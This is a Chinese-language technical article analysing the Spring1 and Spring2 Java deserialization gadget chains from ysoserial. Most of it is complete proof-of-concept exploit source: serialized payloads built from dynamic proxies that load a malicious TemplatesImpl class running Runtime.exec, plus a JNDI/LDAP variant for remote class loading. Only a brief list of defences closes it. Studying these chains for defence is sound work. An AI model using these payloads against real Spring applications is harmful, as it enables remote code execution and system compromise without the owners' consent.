java反序列化之yso中的spring链子分析及利用
字数 1442 2025-09-01 11:26:03
Spring框架反序列化漏洞分析与利用
前言
本文详细分析Spring框架中的两条反序列化漏洞链(Spring1和Spring2),涵盖漏洞原理、利用条件、调用链分析以及实际利用方法。这两条链都利用了Java动态代理机制和Spring框架特性实现任意代码执行。
环境准备
Spring1依赖
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
</dependencies>
Spring2依赖
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
</dependencies>
Spring1链分析
调用链
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
HashMap.get()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
关键点分析
-
入口点:
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()- 通过反射完成方法调用
- 目标是调用
TemplatesImpl.newTransformer()实现任意类加载
-
动态代理利用:
- 使用
AnnotationInvocationHandler作为InvocationHandler - 通过控制
memberValues属性返回特定对象 - 需要三层动态代理结构
- 使用
-
类型转换问题:
getType()方法要求返回Type类型- 需要返回同时实现
Type和Templates接口的动态代理对象
-
关键InvocationHandler:
AutowireUtils.ObjectFactoryDelegatingInvocationHandler- 其
invoke方法中method.invoke(this.objectFactory.getObject(), args)是关键
利用POC
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.beans.factory.ObjectFactory;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "aaa");
byte[] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
byte[][] codes = {code};
setField(templates,"_bytecodes", codes);
setField(templates,"_tfactory", new TransformerFactoryImpl());
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("getObject", templates);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, hashMap);
ObjectFactory<?> objectFactory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{ObjectFactory.class}, invocationHandler);
Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> constructor2 = clazz.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
InvocationHandler invocationHandler2 = (InvocationHandler) constructor2.newInstance(objectFactory);
Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, invocationHandler2);
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put("getType", type);
InvocationHandler invocationHandler3 = (InvocationHandler) constructor.newInstance(Target.class, hashMap2);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, invocationHandler3);
Class<?> class2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> constructor3 = class2.getDeclaredConstructors()[0];
constructor3.setAccessible(true);
Object object = constructor3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
setField(object, "methodName", "newTransformer");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
byte[] serializedBytes = byteArrayOutputStream.toByteArray();
String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes);
System.out.println(base64Encoded);
byte[] decodedBytes = Base64.getDecoder().decode(base64Encoded);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(decodedBytes));
objectInputStream.readObject();
}
public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
}
恶意类示例
package org.example;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet {
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
Spring2链分析
调用链
TemplatesImpl.newTransformer()
Method.invoke(Object, Object...)
AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
JdkDynamicAopProxy.invoke(Object, Method, Object[])
$Proxy0.newTransformer()
Method.invoke(Object, Object...)
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream)
关键点分析
-
与Spring1的区别:
- 使用
JdkDynamicAopProxy代替ObjectFactoryDelegatingInvocationHandler - 证明
ObjectFactoryDelegatingInvocationHandler不是唯一选择
- 使用
-
关键类:
JdkDynamicAopProxy:Spring AOP的动态代理实现AdvisedSupport:Spring AOP的代理配置管理器
-
关键调用:
AopUtils.invokeJoinpointUsingReflection(target, method, args)target来自targetSource.getTarget()
-
配置方式:
- 通过
AdvisedSupport.setTargetSource()设置目标对象 - 使用
SingletonTargetSource包装目标对象
- 通过
利用POC
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.SingletonTargetSource;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Poc {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "aaa");
byte[] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
byte[][] codes = {code};
setField(templates,"_bytecodes", codes);
setField(templates,"_tfactory", new TransformerFactoryImpl());
// 配置AdvisedSupport
AdvisedSupport as = new AdvisedSupport();
as.setTargetSource(new SingletonTargetSource(templates));
// 创建JdkDynamicAopProxy代理
Class<?> c =Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(as);
Type typeTemplatesProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, invocationHandler);
Map<String, Object> hashMap = new HashMap<>();
hashMap.put("getType", typeTemplatesProxy);
Class<?> class2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor2 = class2.getDeclaredConstructor(Class.class, Map.class);
constructor2.setAccessible(true);
InvocationHandler invocationHandler2 = (InvocationHandler) constructor2.newInstance(Target.class, hashMap);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, invocationHandler2);
Class<?> class3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> constructor3 = class3.getDeclaredConstructors()[0];
constructor3.setAccessible(true);
Object object = constructor3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
setField(object, "methodName", "newTransformer");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
byte[] serializedBytes = byteArrayOutputStream.toByteArray();
String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes);
System.out.println(base64Encoded);
byte[] decodedBytes = Base64.getDecoder().decode(base64Encoded);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(decodedBytes));
objectInputStream.readObject();
}
public static void setField(Object object,String fieldName,Object value) throws Exception {
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
攻击面拓展
替代TemplatesImpl的方案
当TemplatesImpl类被禁用时,可以考虑使用JNDI注入实现远程类加载。使用com.sun.jndi.ldap.LdapAttribute类的getAttributeDefinition()方法,该方法会调用lookup()。
利用POC
package org.example;
import org.springframework.beans.factory.ObjectFactory;
import sun.reflect.ReflectionFactory;
import javax.naming.CompositeName;
import javax.naming.directory.Attribute;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Class c1 = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Class c2 = Class.forName("javax.naming.directory.BasicAttribute");
Object ldap = createObjWithConstructor(c1,c2,new Class[]{String.class},new Object[]{"6924bf"});
setField(ldap,"rdn",new CompositeName("a//b"));
setField(ldap,"baseCtxURL","ldap://127.0.0.1:50389/");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("getObject", ldap);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, hashMap);
ObjectFactory<?> objectFactory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{ObjectFactory.class}, invocationHandler);
Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> constructor2 = clazz.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
InvocationHandler invocationHandler2 = (InvocationHandler) constructor2.newInstance(objectFactory);
Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Attribute.class}, invocationHandler2);
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put("getType", type);
InvocationHandler invocationHandler3 = (InvocationHandler) constructor.newInstance(Target.class, hashMap2);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, invocationHandler3);
Class<?> class2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> constructor3 = class2.getDeclaredConstructors()[0];
constructor3.setAccessible(true);
Object object = constructor3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
setField(object, "methodName", "getAttributeDefinition");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
byte[] serializedBytes = byteArrayOutputStream.toByteArray();
String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes);
System.out.println(base64Encoded);
byte[] decodedBytes = Base64.getDecoder().decode(base64Encoded);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(decodedBytes));
objectInputStream.readObject();
}
public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{
Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes);
constructor.setAccessible(true);
Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance(argsValues);
}
}
总结
- 动态代理是关键:两条链都大量使用了Java动态代理机制,需要熟练掌握动态代理原理
- 多层代理结构:Spring1使用了三层动态代理结构,理解每层代理的作用至关重要
- 替代方案:当主要利用类被禁用时,可以考虑其他攻击面如JNDI注入
- 防御建议:
- 升级Spring框架到安全版本
- 限制反序列化操作
- 使用安全防护产品检测恶意序列化数据
理解这些漏洞需要对Java反序列化、动态代理和Spring框架内部机制有深入理解,建议先掌握这些基础知识再深入研究漏洞利用技术。